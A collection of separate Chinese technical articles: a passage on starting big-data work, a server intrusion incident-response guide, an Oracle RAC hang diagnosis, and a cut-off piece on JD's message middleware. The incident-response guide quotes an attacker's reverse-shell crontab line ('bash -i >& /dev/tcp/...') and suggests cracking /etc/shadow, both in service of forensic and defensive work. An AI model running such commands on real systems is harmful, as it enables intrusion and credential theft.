然后你会不自觉地吐槽:擦!尼玛关系数据库中的数据也要做清洗呀! 其实这也是没有办法的事,历史原因使然,人力成本使然,这是我们处于0的阶段必然需要面对的东西。 在大数据这个体量中,业务数据只是占据了很小的一部分。是的,更多的是用户的行为数据,业务的访问数据。 你可能会很高兴地说,对了,不是有业务服务的LOG吗?我们可以从LOG中清洗出很多有用的Visitor数据来,一个MapReduce就搞定啦,分分钟的事。 “啊,这个呀,当时没有想到要记录下这些东西哟,没有打这些LOG。” 是不是想大喷一口血?情况好点的公司,虽然处理不了数据,但是依然是有意识地在很多业务逻辑中,埋下业务的服务LOG,落成LOG文件,待有处理能力时再做处理。 再好点的,已经有点数据意识了,开始在业务中主动埋下一些数据收集点,开始收集用户的行为轨迹数据。 但依然是把数据存储到了MySQL中,很多点位逻辑是错乱的,点位的收集目标是不清晰的(也没办法清晰,因为我都不知道要怎么用,都是提前埋下,将来可能要用而已)。 这已经很不错了,虽然点位是不准确的,虽然我不知道一天50万、100万的数据量,你的MySQL能撑几天,但好歹是有了吧,已经很不错了。 再好点的就是,已经有大数据的一到两个储备人员了,已经能够近乎的将数据以近乎正确的姿势存储到hive或者HBase中,哪怕是HDFS里头。这已经是伟大的进步了,至少恭喜你,你已经越过了0的阶段,步入0.1时代! 以上基本上就是你进入一个即将要开始做大数据的公司,所看到的东西。是不是一脸懵逼、大写加粗的尴尬?恨不得把这些乱七八糟的,一下子磁盘格式化掉。 3这个时候,你需要做点什么? 这里,我所说的做什么,不是指开始动手干,而是做之前的准备工作,算是前期工作吧。进入之后,第一时间当然是掌握如上那些信息了。接着,你需要好好跟你的老板谈一谈人生,啊不,是谈一谈他到底想干什么。 他想达到一个什么样的数据业务目标,想花多大的成本,下了多大决心去做这件事,仅仅是跟跟风、炒炒概念,还是真的想解决问题。这很重要,这关乎到你后续将投入的人力,不同阶段的规划,怎么去做这件事、做好这件事。 其实不单纯这里,其他方面也是一样的,遇到一个问题,一定是需要了解足够的信息和需求才去做的,这不耽误事,不然吃力不讨好,妥妥的。 与此同时,你需要慢慢根据蛋碎菊紧的现状以及BOSS的“伟大宏图”,去规划你的人力了。至于说人力怎么搭配,什么年份、什么水平,这就需要看“菊花”到底有多紧,“宏图”到底有多大,时间到底还有多少去思考了。 好了,背起你的锄头,去挖别人家的墙角吧,或者,刷脸的时候到了,万能的朋友圈,彰显你的威力吧! 如何拓荒 1你需要和你的BOSS好好谈谈未来! 这里我所说的BOSS,或许是你实打实的老板,或许是你的直属Leader,总之是有权力为公司数据化运营、数据化决策拍板的人。 BOSS知道要做数据这么个事,但是对于细节他肯定是不熟悉的,他只知道最终他需要达到大概什么样的目标,市场有这么个数据化驱动的趋势。那么,这个时候,在真正动手之前,你需要和他好好聊聊。 首先你需要和你的BOSS一起来拆解公司数据化的目标,你需要彻底清楚公司想把数据化做到什么程度,每个阶段大致目标是什么。 虽然,很多中小型公司把一个人当好几个人用,但是,有多少人,做多少事,这句话永远是正确的!只有在彻底地了解清楚大致的战略目标之后,你才能去拆解问题,并且根据实际的预算怎么样分阶段去实现你的数据化目标。 所以,你跟BOSS聊的时候,不是跟他谈你心目中的数据理想国,也不是他给你描绘宏图大业,而是实打实地了解公司大致会往数据投入多少人力物力,然后再根据业务目标,去拆解你所需要做的事,按阶段去做详细的规划,去储备你最需要的人才。 2背起你的锄头,去挖别人的墙角吧! 如上,做完那些事,你对于你的数据理想国,至少也是知道它的框架大致组成了。既然你需要架构它,那么,你也一定是知道你缺少什么伙伴,去把它从蓝图中构建出来。 你肯定是需要队友的,任何稍微复杂点的事都不可能独自一人去完成,能独自完成的事都是小事或者模块化的事,任何一个成系统性的事,都脱离不了团队的协作,一个组合合理、有共同理想目标的团队是最强大的。 OK,话题不扯远了,回到如何招人的问题上吧。 大数据行业从09、10年开始引入国内,到12年左右生态概念开始火爆,再到现在的如日中天,其实也算发展了好多年了,就算从11年、12年开始算,也起码正式火了四五年了。 但行业里最多依然是那种真正行业背景不到2年的人,而且很大一部分是“听闻”行情好,纷纷通过某种渠道,例如培训机构培训等转型过来的。其实这也好理解,大数据真正达到颠覆性的认知,也就在这一两年,是个企业都言必谈数据,这也算是市场需求在驱动着发展。 近一年来,从我手里过面试的人,估摸着也有二十人左右,但实际上真正靠谱的,还真没有几个。我之所以说这么多,其实是想表达一个意思,通过正规的渠道去招人,其实是很不靠谱的。那么,有没有其他办法呢? 1、刷脸 刷脸这东西,相对比较靠谱,但门槛比较高。鉴于很早期在大数据线上圈人构建技术交流圈,并且在北京组织过好几次线下的大数据交流活动,或多或少总是认识一些行业内的同行。 于是,我开始与他们挨个联系,看看有哪些有意愿回南方工作的,并且有兴趣与我一同做事的朋友。 其实,很多人或多或少都在线上,甚至是线下都交流过的,我坚信能够跟我玩在一个圈子的人,应该再差也不会比这种随机选人的几率更差吧(哈哈,自恋ing)。 所以初期,我的团队核心几个人,都是我通过线下自己的渠道找来的。我也是很感激他们能够相信我,其实我是无法保证他们的未来,但我能保证的是与我一起做事会让他们更爽点! 从这点来说,时常与他人多交流是有用的,不单纯是技术上的交流沟通,另一方面也算是自己技术人脉的累积。 对于这一点,我建议从业者有机会多认识业内同行,有机会多交流沟通,就一定不要浪费。多一个视角,多一份见识,技术需要被交流。多年来,我一直坚持一个理念就是:进步始于交流,收获源于分享! 2、线上技术圈 其实归根结底还是需要多参与技术交流,线上很多技术圈子,不管是社区也好,交流群也好,相对很多线上群体来说比较纯粹,毕竟都是搞技术的嘛! 我一直以来都认为,同等基础技术水平下,会主动寻求技术知识沟通交流的人会比那种闭门造成的人优秀,尤其是大数据这个开放而又极其需要自我增长的领域。 人类的聚群现象,能跟你玩在一个技术圈子的人,至少某种程度上来说,也是跟你类似的人。近朱者赤,这句话总是有点道理的(好像有点向自己脸上贴金的意思,哈哈)。 所以,从技术圈子渠道招到的人,相对会比较优质,最起码来说,是相对比较善于解决问题,以及与他人沟通的。不过如果需要从这些渠道招人,还是需要注意方法的。一方面是注意社群的规则,不要随意践踏,不要刷屏骚扰他人。 3规划要大,起点要低,阶段目标明确 第一,之所以说规划要大,不是说你的规划设计要超越什么BAT大公司的架构规划,而是说,你在做构架设计的时候,一定需要考虑将来可能有的扩展,为你的整体系统架构留出足够的可扩展性,而不是到时候又得推翻重做。如果是这样,那么你这个兼职架构师就可以换人了。 第二,之所以说起点要低,阶段目标要明确,是因为,只要不是土豪老板,都不可能说上来就给你配备100%的人力,马上去把你的蓝图架构出来的。投入与产出比,这是所有的决策者都需要考虑的事情。 所以,你需要把你的架构实现去做拆解,拆解成在有限的人力情况下,能够快速形成阶段性产出目标。然后逐渐完善你的架构,在适当的时候,再逐渐根据工作进度增加你的人力情况,这才是一种合理的人力规划以及整体发展方向。 4从基础开始,搭建你的数据帝国 这里先分享一张通用的数据平台架构: 互联网行业技术无边界。在互联网行业,这种数据架构基本都是通用的,区别在于具体实现的细节,以及侧重点有所不同。 我们可以看到,这张架构图相对来说是一个比较完整通用性较强的数据平台架构,但是其包含的内容信息真的不少,数据从底层逐渐向应用层流转,实现从一整套基础数据收集到数据价值挖掘的过程。 整个过程信息量有点大,我将在后续的文章中梳理和拆解这个架构图,并细说如何拆分阶段目标,最终把这个架构蓝图绘制出来。 原文发布时间为:2017-02-03 本文来自云栖社区合作伙伴DBAplus
作者介绍 林伟壕,网络安全DevOps新司机,先后在中国电信和网易游戏从事数据网络、网络安全和游戏运维工作。对Linux运维、虚拟化和网络安全防护等研究颇多,目前专注于网络安全自动化检测、防御系统构建。 导读: 遇到服务器被黑,很多人会采用拔网线、封iptables或者关掉所有服务的方式应急,但如果是线上服务器就不能立即采用任何影响业务的手段了,需要根据服务器业务情况分类处理。 下面我们看一个标准的服务器安全应急影响应该怎么做,也算是笔者从事安全事件应急近5年以来的一些经验之谈,借此抛砖引玉,希望大神们不吝赐教。 图1将服务器安全应急响应流程分为发现安全事件(核实)、现场保护、服务器保护、影响范围评估、在线分析、数据备份、深入分析、事件报告整理等8个环节。接下来我们将每个环节分解,看看需要如何断开异常连接、排查入侵源头、避免二次入侵等。 处理思路 一、核实信息(运维/安全人员) 根据安全事件通知源的不同,分为两种: 外界通知:和报告人核实信息,确认服务器/系统是否被入侵。现在很多企业有自己的SRC(安全响应中心),在此之前更多的是依赖某云。这种情况入侵的核实一般是安全工程师完成。 自行发现:根据服务器的异常或故障判断,比如对外发送大规模流量或者系统负载异常高等,这种情况一般是运维工程师发现并核实的。 二、现场保护(运维) 我们很多人看过大陆的电视剧《重案六组》,每次接到刑事案件,刑警们第一时间就是封锁现场、保存现场原状。同样道理,安全事件发生现场,跟刑事案件发生现场一样,需要保存第一现场重要信息,方便后面入侵检测和取证。 保存现场环境(截图) 相关信息采集命令如下: 进程信息:ps axu 网络信息:netstat –a 网络+进程:lsof / netstat -p 攻击者登陆情况(截图) 相关信息采集命令如下: 查看当前登录用户:w 或 who -a 三、服务器保护(运维/机房) 这里的现场保护和服务器保护是两个不同的环节,前者注重取证,后者注重环境隔离。 核实机器被入侵后,应当尽快将机器保护起来,避免被二次入侵或者当成跳板扩大攻击面。此时,为保护服务器和业务,避免服务器被攻击者继续利用,应尽快歉意业务,立即下线机器。 如果不能立即处理,应当通过配置网络ACL等方式,封掉该服务器对网络的双向连接。 四、影响范围评估(运维/开发) 一般是运维或者程序确认影响范围,需要运维通过日志或者监控图表确认数据库或者敏感文件是否泄露,如果是代码或者数据库泄露了,则需要程序评估危害情况与处置方法。 影响访问评估一般从下面几点入手来: 具体业务架构:web(php/java, webserver), proxy, db等。 IP及所处区域拓扑等:VLAN内服务器和应用情况; 确定同一网络下面服务器之间的访问:可以互相登陆,是否需要key或者是密码登录。 由此确定检查影响范围,确认所有受到影响的网段和机器。 五、在线分析(安全人员/运维) 这时需要根据个人经验快速在线分析,一般是安全人员和运维同时在线处理,不过会涉及多人协作的问题,需要避免多人操作机器时破坏服务器现场,造成分析困扰,之前笔者遇到一个类似的问题,就是运维排查时敲错了iptables的命令,将iptables -L敲成iptables -i导致iptables-save时出现异常记录,结果安全人员上来检查时就被这条记录迷惑了,导致处理思路受到一定干扰。 1、所有用户History日志检测 关键字:wget/curl, gcc, 或者隐藏文件, 敏感文件后缀(.c,.py,conf, .pl, .sh); 检查是否存在异常用户; 检查最近添加的用户,是否有不知名用户或不规范提权; 找出root权限的用户; 可以执行以下命令检查: grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' 2、反连木马判断 netstat –a; 注意非正常端口的外网IP; 3、可疑进程判断 判断是否为木马 ps –aux 重点关注文件(隐藏文件), python脚本,perl脚本,shell脚本(bash/sh/zsh); 使用which,whereis,find定位 4、Crontab检测 不要用crontab –l查看crontab(绕过检测),也有通过写crontab配置文件反弹shell的,笔者接触过几次,一般都是使用的bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 5、系统日志检测 检查sshd服务配置文件/etc/ssh/sshd_config和系统认证日志auth、message,判断是否为口令破解攻击; /etc/ssh/sshd_config文件确认认证方式; 确认日志是否被删除或者清理过的可能(大小判断); last/lastb可以作为辅助,不过可能不准确; 6、NHIDS正常运行判断 是否安装:ls /etc/ossec 是否运行正常:ps axu |grep nhids 三个nhids进程则表示正常 7、其他攻击分析 抓取网络数据包并进行分析,判断是否为拒绝服务攻击,这里需要注意,一定要使用-w参数,这样才能保存成pcap格式导入到wireshark,这样分析起来会事半功倍。 tcpdump -w tcpdump.log 六、安全相关的关键文件和数据备份(运维) 可以同步进行,使用sftp/rsync等将日志上传到安全的服务器。 打包系统日志 参考:$ tar -jcvf syslog.tar.bz2 /var/log 打包web日志:access log 打包history日志(所有用户),参考: $ cp /home/user/。history user_history 打包crontab记录 打包密码文件:/etc/passwd, /etc/shadow 打包可疑文件、后门、shell信息 七、深入分析(安全人员) 初步锁定异常进程和恶意代码后,将受影响范围梳理清楚,封禁了入侵者对机器的控制后,接下来需要深入排查入侵原因。一般可以从webshell、开放端口服务等方向顺藤摸瓜。 1、Webshell入侵 使用webshell_check.py脚本检测web目录; $ python webshell_check.py /var/www/ >result.txt 查找web目录下所有nobody的文件,人工分析: $ find /var/www –user nobody >nobody.txt 如果能确定入侵时间,可以使用find查找最近时间段内变化的文件; $ find / -type f -name "\.?*" |xargs ls -l |grep "Mar 22" $ find / -ctime/-mtime 8 2、利用Web漏洞直接反连shell 分析access.log 缩小日志范围:时间,异常IP提取 攻击行为提取:常见的攻击exp识别 3、系统弱口令入侵 认证相关日志auth/syslog/message排查: 爆破行为定位和IP提取; 爆破是否成功确定:有爆破行为IP是否有accept记录。 如果日志已经被清理,使用工具(比如John the Ripper)爆破/etc/passwd,/etc/shadow。 4、其他入侵 其他服务器跳板到本机。 5、后续行为分析 History日志:提权、增加后门,以及是否被清理。 Sniffer: 网卡混杂模式检测 ifconfig |grep –i proc 内网扫描:网络nmap/扫描器,socks5代理 确定是否有rootkit:rkhunter, chkrootkit, ps/netstat替换确认 6、后门清理排查 根据时间点做关联分析:查找那个时间段的所有文件; 一些小技巧:/tmp目录, ls –la,查看所有文件,注意隐藏的文件; 根据用户做时间关联:比如nobody; 7、其他机器的关联操作 其他机器和这台机器的网络连接 (日志查看)、相同业务情况(同样业务,负载均衡)。 八、整理事件报告(安全人员) 事件报告应包含但不限于以下几个点: 分析事件发生原因:事件为什么会发生的原因; 分析整个攻击流程:时间点、操作; 分析事件处理过程:整个事件处理过程总结是否有不足; 分析事件预防:如何避免事情再次发生; 总结:总结事件原因,改进处理过程,预防类似事件再次发生。 九、处理中的遇到的比较棘手的事情 日志和操作记录全被删了怎么办? strace 查看 losf 进程,再尝试恢复一下日志记录,不行的话镜像硬盘数据慢慢查。这个要用到一些取证工具了,dd硬盘数据再去还原出来。 系统账号密码都修改了,登不进去? 重启进单用户模式修改root密码,或者通过控制卡操作,或者直接还原系统。都搞不定就直接重装吧。 使用常见的入侵检测命令未发现异常进程,但是机器在对外发包,这是怎么回事? 这种情况下很可能常用的系统命令已经被攻击者或者木马程序替换,可以通过md5sum对比本机二进制文件与正常机器的md5值是否一致,如果发现不一致,肯定是被替换了,可以从其他机器上拷贝命令到本机替换,或者alias为其他名称,避免为恶意程序再次替换。 被getshell怎么办? 漏洞修复前,系统立即下线,用内网环境访问。 上传点放到内网访问,不允许外网有类似的上传点,有上传点,而且没有校验文件类型很容易上传webshell。 被getshell的服务器中是否有敏感文件和数据库,如果有请检查是否有泄漏。 hosts文件中对应的host关系需要重新配置,攻击者可以配置hosts来访问测试环境。 重装系统。 案例分析 上面讲了很多思路的东西,相信大家更想看看实际案例,下面介绍两个案例。 先讲一个别人处理的,基本处理过程就是: 通过外部端口扫描收集开放端口信息,然后获取到反弹shell信息,登陆机器发现关键命令已经被替换,后面查看history记录,发现疑似木马文件,通过简单逆向和进程查看发现了异常进程,从而锁定了入侵原因。具体内容可以查看:http://www.freebuf.com/articles/system/50728.html 再讲一个笔者实际处理过的,基本处理流程跟上面提到的思路大同小异。 整个事情处理经过大致如下: 1、运维发现一台私有云主机间歇性的对外发送高达800Mbps的流量,影响了同一个网段的其他机器。 2、安全人员接到通知后,先确认了机器属于备机,没有跑在线业务,于是通知运维封禁iptables限制外网访问。 3、运维为安全人员临时开通机器权限,安全人员通过history和ps找到的入侵记录和异常进程锁定了对外大量发包的应用程序,清理了恶意进程并删除恶意程序。 恶意进程如下,经过在网络搜索发现是一种DDOS木马,但没有明确的处理思路: /usr/bin/bsd-port/getty/usr/bin/acpid./dbuspm-session /sbin/DDosClient RunByP4407/sbin/DDosClient RunByPM4673 处理过程中,安全人员怀疑系统文件被替换: 通过对比该机器与正常机器上面的ps、netstat等程序的大小发现敏感程序已经被替换,而且mtime也被修改。 正常机器 du -sh /bin/ps 92K /bin/ps du -sh /bin/netstat 120K /bin/netstat 被入侵机器 du -sh /bin/netstat 2.0M /bin/netstat du -sh /bin/ps 2.0M /bin/ps 将部分常用二进制文件修复后,发现异常进程被kill掉后仍重启了,于是安装杀毒软件clamav和rootkit hunter进行全盘扫描,从而确认了被感染的所有文件,将那些可以删除的文件删除后再次kill掉异常进程,则再没有重启的问题。 4、影响范围评估 由于该机器只是备机,上面没有敏感数据,于是信息泄露问题也就不存在了。 扫描同一网段机器端口开放情况、排查被入侵机器history是否有对外扫描或者入侵行为,为此还在该网段机器另外部署蜜罐进行监控。 5、深入分析入侵原因 通过被入侵机器所跑服务、iptables状态,确认是所跑服务支持远程命令执行,且机器iptables为空导致黑客通过往/etc/crontab中写“bash -i >& /dev/tcp/10.0.0.1/8080 0>&1”命令方式进行shell反弹,从而入侵了机器。 6、验证修复、机器下线重装 进行以上修复操作后,监控未发现再有异常,于是将机器下线重装。 7、完成安全事件处理报告 每次安全事件处理后,都应当整理成报告,不管是知识库的构建,还是统计分析安全态势,都是很有必要的。 这次主要介绍了服务器被入侵时推荐的一套处理思路。实际上,安全防护跟运维思路一样,都是要防患于未然,这时候的审计或者响应其实很难避免危害的发生了,我们更希望通过安全意识教育、安全制度的建设,在问题显露端倪时即可消弭于无形。 原文发布时间为:2017-01-25 本文来自云栖社区合作伙伴DBAplus
一、故障现象某客户核心系统数据库工作日生产时间发现会话积压,存在大量异常等待事件,部分节点所有联机日志组全部处于Active状态,无法完成数据库检查点,数据库实例处于Hang住的状态。 第二周几乎相同时间发生同样的问题,但由于第一次已经提出预案,所以问题影响得到控制,同时采集到更多分析信息,最终彻底解决了该问题。 环境介绍: IBM Power8 E880 AIX 7.1 Oracle 4-nodes RAC(11.2.0.3.15) 二、故障预案第一次故障发生后,提出以下预案并在第二次故障发生时,提前发现问题,介入诊断,业务无影响。 部署短信告警,监控Active日志组个数,当大于四组时告警,以提前发现问题。 第一时间介入后抓取现场,添加可用日志组以延缓故障发生时间,给现场诊断留出时间。 紧急停止Hang住的节点,因数据库集群使用RAC架构,能够实现高可用,避免单点故障,对实际业务无影响。 三、故障处理过程为确保能够对故障进行事后分析,彻底定位和解决问题,对生产库做hanganalyze分析和进行采集system dump,但该系统非常繁忙,采集system dump时间需60-90分钟,因此为控制业务影响范围,在做10分钟左右dump之后,紧急停止dump,并优先停止节点2,以恢复数据库,至11点48分,数据库完全恢复,正常提供对外服务。 鉴于本次故障比较复杂,我们用思维导图的形式将故障诊断分析过程简化,方便你的理解。如果你有更好的分析思路,欢迎文末评论! 四、资源使用分析通过对比,我们可以发现,周五的数据库负载基本与平时相差不多,整体均在正常状态。 节点1 CPU使用情况分析: 节点1 IO读写情况分析: 节点2 CPU使用情况分析: 节点2 IO读写情况分析: 节点3 CPU使用情况分析: 节点3 IO读写情况分析: 节点4 CPU使用情况分析: 节点4 IO读写情况分析: 五、故障原因分析1、检查点未完成导致数据库Hang的可能原因: 首先怀疑归档目录出现问题导致无法写入归档日志,采取以下措施进行排查: 归档目录空间足够,不存在空间问题。 对归档目录进行dd操作,对目录进行touch文件的操作,不存在无法读写问题。 赛门铁克反馈近期SF集群日志正常,多路径日志也未发现异常报错。 常规排查未发现问题的情况下,只能从当时抓取dump中进行分析,以找到问题根源。 2、System Dump分析: 从System Dump输出日志文件中发现4个阻塞源头: 从中可以看到总共有四个阻塞源头,然后一一查找源头。 两个Sequence阻塞 Rcache object=700000b7e8ecf08, SEQ_LNCH_XXXX_TRIGID Rcache object=700000bbffdedc0, SEQ_LNCH_XXXX_TRIGLOGID 可以看到前面两个Object都在等待row cache lock,这是一种数据字典的并发争用引起的锁。 Dump输出日志中的sequence如下,Cache size为0。建议与应用沟通为何设置为0,如无特殊场景,RAC环境中设置cache size为1000。 Insert语句 Blocker,等待获得SEQ insert into QTKB_XXXX_PLANRAL(RSRV_STR2,……) values (:1,:2,:3,:4,:5,:6,:7,:8,:9,:10,:1 1,:12,:13,:14,:15,:16,:17,:1 这个Blocker是一个客户端发起的的会话。可以看到它当时的信息如下: 非系统级别的Sequence阻塞,会导致相关业务性能急剧下降。 Update在等待获得日志切换完成 可以看到这个会话被inst: 2, sid: 5376阻塞。5376就是节点2的LGWR进程,他一直在等待log file switch(checkpoint incomplete)完成。 3、全局Hanganalyze分析 在12月16日故障发生过程中,已对数据库2节点做全局HangAnalyze分析。发现有两个Blocker分别阻塞5817个会话和3694个会话,接下来依次分析。 LGWR进程阻塞了5817个会话,等待日志切换完成 对Hang Analyze结果分析发现,节点2的LGWR阻塞5817个会话。 从等待事件上来看,LGWR一直在等待control file sequential read。那么LGWR为什么要读控制文件呢? 参考文档Master Note: Overview of Database ControlFiles (文档 ID 1493674.1),在日志切换的时候,LGWR需要去获取CF队列,获取这个队列之后,就要读取控制文件。 Update语句阻塞了3600个会话,等待日志切换完成 DML语句:Update,然后它们的阻塞会话在等待log file switch(checkpoint incomplete)。 日志切换之后,有一个“日志切换检查点”操作,这个操作由CKPT发起,让DBWR进程把缓冲区的脏数据写入磁盘,之后才会把redo logfile的状态从ACTIVE变成INACTIVE。 以下是log switch checkpoint的描述: 通过对Hanganalyze的分析,可以得出一个初步结论,由于DBWR无法把跟ACTIVE redo logfile相关的脏数据写入磁盘,导致redo logfile状态一直是ACTIVE。 4、深入分析日志切换检查点 日志检查点没有完成 前面提到过,日志切换检查点会更新系统状态信息(background checkpoints started和background checkpoints completed),从DBA_his_sysstat历史表中得到了下列信息,节点2后台检查点完成信息从10点开始到11点一直没有更新,而其他节点的检查点进程完成更新很及时。 正常情况下(12月26日),检查点完成信息如下: 所有数据库实例检查点进程没有持续未完成的情况发生。 异常脏数据,使得CKPT进程异常 分析发现,DBW0~DBW6共7个数据库写进程状态正常: 可以看到DBWR当时的等待事件是'rdbms ipc message',也就是空闲等待。 这说明系统认为当前已经没有脏数据了,它一直在等待其他进程唤醒它工作。这个状态是正常的。 事实上,从System Dump输出,我们看到数据库缓冲区中是有存在脏数据队列: ckptq: [NULL] fileq: [0x7000009cf6f61d0,0x7000004cfa39a60] objq: [0x7000003ffa24818,0x7000006d77eeda8] objaq: [0x70000043f871938,0x7000006d77eedb8] obj:1341208 objn:141351 这个脏块上的对象是一个Index,对应的对象名称为IDX_HQMHLCD_RZ_1 (对应的表为: UDP_PROD31.QFCHL_XXXXACTION_LOG)。 脏数据块上索引对应的语句 进一步从日志分析发现,索引IDX_HQMHLCD_RZ_1相关的业务SQL在数据库故障发生前存在gc cr multiblock request等待事件和gc current request等待事件: 对应的SQL文本如下: 我们可以看到,Select语句里显性的指定了使用这个索引IDX_HQMHLCD_RZ_1,而每个Insert语句都会对索引进行更新。 从而推导,是否是IDX_HQMHLCD_RZ_1及相关语句触发了bug,导致的CKPT进程异常呢? 进一步从MOS去查证,bug 16344544与此极为相符。 跨节点业务访问导致的bug 通过以上分析,我们推断,表UDP_PROD31.QFCHL_HQMHLCD_LOGRZ对应的insert语句和select语句跨节点访问触发bug 16344544,导致CheckPoint检查点进程无法让DBWR进程将脏数据写入磁盘,造成了日志组状态持续为ACTIVE,无法变成INACTIVE正常状态。 该bug证实影响的数据库版本为11.2.0.3/11.2.0.4,官方文档显示12.1以下版本都可能遭遇。详情访问MOS文章:Bug 16344544 Deadlock and hang possible in RAC env between 'gc current request' and 'gc cr multi block request'。 但据官方文档记载该bug暂无补丁,只有一个workround规避问题:修改隐含参数"_gc_bypass_readers"为FALSE。 更多IDX_XXXXHUOD_RZ_1索引信息 (1)该索引为本地分区索引,从2013年系统上线以来,一直没有做过重组,大小已经很大,存在大量碎片。 (2)该索引同时被节点3和节点4上的应用程序访问 节点3上dump的信息显示索引IDX_HQMHLCD_RZ_1(object_id:1341208)被访问过: 节点4上dump的信息显示索引IDX_HQMHLCD_RZ_1(object_id:1341208)被访问过: 至此,我们基本判定触发bug。要规避这样的问题,就要消除上面两个因素。 5、解决方案: 该问题的解决方案有3个: 重建索引IDX_HQMHLCD_RZ_1,减少碎片,提升索引访问效率,降低GC等待。 渠道业务相关应用,应做好应用隔离,避免跨库访问业务,避免GC等待出现 将隐含参数"_gc_bypass_readers"设置为FALSE(需要应用侧充分测试后,方可在生产上实施) 考虑到方案的可实施性,先进行索引重建,然后逐步完成应用访问隔离。 六、处理结果在应用侧配合完成索引重建及应用隔离后,问题彻底解决。 此问题诊断分析、处理及跟踪长达3周时间,其间各类Oracle服务公司纷沓而至,问题指向千奇百怪,靠着新炬专家团队通力合作,深入、细致、理性的分析,最终推导,并完美解决! 最终的问题分析会上,客户领导评论:“所有厂商的人应该学习新炬专家这种抽丝剥茧的故障问题分析方法!” 保证数据的安全、数据库的稳定高效运行是DBA团队的天职。年前大检查你做好了么! 最后做个小广告,我们研发的DPM数据库性能管理平台已经完美支持这些bug预警。 原文发布时间为:2017-01-23 本文来自云栖社区合作伙伴DBAplus
京东商城基础平台团队:包括大规模容器集群调度、数据库与存储技术、消息系统与服务框架、架构与运维、机器学习与人工智能等技术方向。由京东商城首席架构师刘海锋担任部门负责人。基础平台运营多个数据中心数万台服务器,支撑京东无数在线业务(团队公众号ID:ipdchat)。 导读:本文将简单介绍京东消息中间件的演进历程,以及作为消息中间件,在每一代产品中我们是如何解决MQ面临的一些通用问题,如:如何处理IO,消息如何存储,消息如何路由等等。 我们在开始之前要明确一些基本概念: Broker:消息中间件服务端的一个实例; Producer:消息的发送方; Consumer:消息的接收方; Topic:消息中间里的数据分类的标示,一个topic也就代表一类消息,producer和consumer通过Topic实现关联。 第一代AMQ 2012年初,京东唯一一个类似消息中间件的产品还是一个基于数据开发的,消息分发系统。所以确切地说,当时京东还没有一个统一的消息中间件平台,但随着公司组织架构的升级,建设一个统一的消息中间件平台就提上了日程。 目标就是建立一消息平台对外提供高可用,可扩展的消息传递服务,并能消息进行有效的治理。 第一代选型: 消息核心:基于ActiveMQ5.6做扩展。 配置中心:MySQL + Zookeeper。 管理监控平台:自主研发。提供比ActiveMQ自带的管理平台更丰富的消息监控功能,并提供消息管理服务 当时选择ActiveMQ是由于它是由JAVA开发符合公司的技术路线(.NET转JAVA),有主从复制方案,性能尚可(单实例TPS 3000+),支持JMS、AMQP等多种技术规范。至于为何选择Zookeeper,可参考我厂另一篇文章《服务框架技术选型实践》中的“注册中心选型”。 AMQ是如何解决MQ面临的一些通用问题: 因为核心是使用的ActiveMQ,所以部分问题就回归到了ActiveMQ是如何解决这些通用问题上来,但其中不乏我们对ActiveMQ的扩展,关于ActiveMQ部分的详细情况我们可以参看其官方文档,以下我们主要看下我们在其基础上的扩展及改进: 1.如何存储? ActiveMQ使用了KahaDB存储引擎进行存储,BTree索引,为了保证可靠性索引文件和日志文件都要同步刷盘。此外,ActiveMQ通过虚拟主题(VirtualTopic)的方式实现Topic,也就是如果一个Topic有多个订阅者,ActiveMQ就为每个订阅者创建一个队列,那么producer每发一条消息,有多少个订阅者,broker就会将消息复制多少份,将其放到不同订阅者的队列中,broker在从中获取消息推送给consumer。 2. 如何支持集群? 当时的原生的ActiveMQ客户端在收发消息上是这样的:针对一个Topic发送者就只能往特定的单个Broker上发送消息,消费者亦是如此,只能从指定的单个Broker上消费消息。从客户端的角度来看就是不支持服务集群化,一旦分给这个Topic的这组Broker挂掉那针对这个Topic来说整个服务就处于不可用状态。 我们做的第一件事就是让客户端支持集群,我们采用ZK作为配置中心对客户端进行了扩展,使客户端支持了集群的同时还实现了其对服务端动态扩展的支持。以下是集群化之后的客户端与服务端整体架构。 图1:客户端服务端整体架构 3. Push or pull?消息如何路由? AMQ采用的是push模式,也就是消息由producer发送到broker端之后是由broker推送给consumer。 对于原生的客户端只能在单个Broker上收发消息,那也就不存在消息路由的问题,我们来看下集群化之后消息是如何路由的,这里的路由涉及到两个方面,一方面是producer在发消息是如何选择将消息发往哪个Broker,另一方面就是broker如何决定一条消息应该推送给哪个consumer。 发送路由: 随机发送,这种模式是完全随机的,也就是producer在topic指定的多个broker当中随机选择一个broker向其发消息。 加权随机发送,这种方式下我们可以对一个topic分配的多个broker设置不同的权重,发送时producer就根据权重来进行选择,权重越高被选中的几率越大。这种方式有个好处就是当一个broker有异常时我们就可以将其权重置为0,这样producer就不会往上发消息,待其恢复之后我们再逐步的将权重给予恢复,这就能够避免在单个broker出异常时客户端大量报错。 消费路由:broker随机选择一个当前在线的consumer并将消息推送给它。 图2:客户端路由模型 4. 如何处理消费失败的消息? 原生ActiveMQ的consumer在成功处理一条消息之后会向broker发一个ACK,以确认消息被成功消费。当处理一条消息失败之后就会向broker返回一个消息处理失败的应答,此时当broker收到这条处理失败的应答时会将这条处理失败的消息放到“死信队列”(DLQ)。 针对每个普通队列Broker端都对应着这样一个死信队列,此队列的消息不能被消费者所获取。对此我们对客户端进行了扩展,在消费出错的时候拦截错误信息,然后将出错的消息通过SAF协议(我厂的SOA框架)调用“重试服务”将异常消息入库,入库成功之后consumer再向broker发送一个消费成功的ACK,这时Broker就会将此消息删除,这样我们实际上就是将broker端的消息转移到了库里。而后consumer再根据一定策略通过SAF去调用“重试服务”获取之前入库的消息进行处理。 图3:客户端重试架构图 5. 如何生成消息轨迹? 原生ActiveMQ并不支持消息轨迹,我们扩展了服务端,对写消息和消费消息进行了拦截,在消息入队成功和消费成功后分别记下日志,再由Agent采集日志并进行归档,Agent将元信息写入归档库,然后将消息内容写入JFS(JD File System,我厂的分布式文件系统)。归档成功后可在管理控制平台追踪消息的处理轨迹,必要时还可下载消息体。 6. 其他扩展、优化 优化了broker写消息逻辑将性能提升到单实例TPS 4000+(原生单实例TPS3000+); 实现了新的主从复制(原生主从复制为完全的同步复制,在slave落后时需要手动将Master数据拷贝到Slave,运维极其不方便) 实现新的主从选举使其更易维护,更好的支持集群(原生的主从选举容易出现双Master); 增加了监控告警模块以及其他的一些运维工具,使得管理里更加简单,运维更加方便。 经过一系列的扩展 和优化,AMQ基本上实现了高可用、可扩展以及统一的治理消息等目标,初步形成了一套完整的企业级消息中间件解决方案。以下是AMQ平台粗略的整体架构图: 图4:AMQ整体架构 第二代JMQ 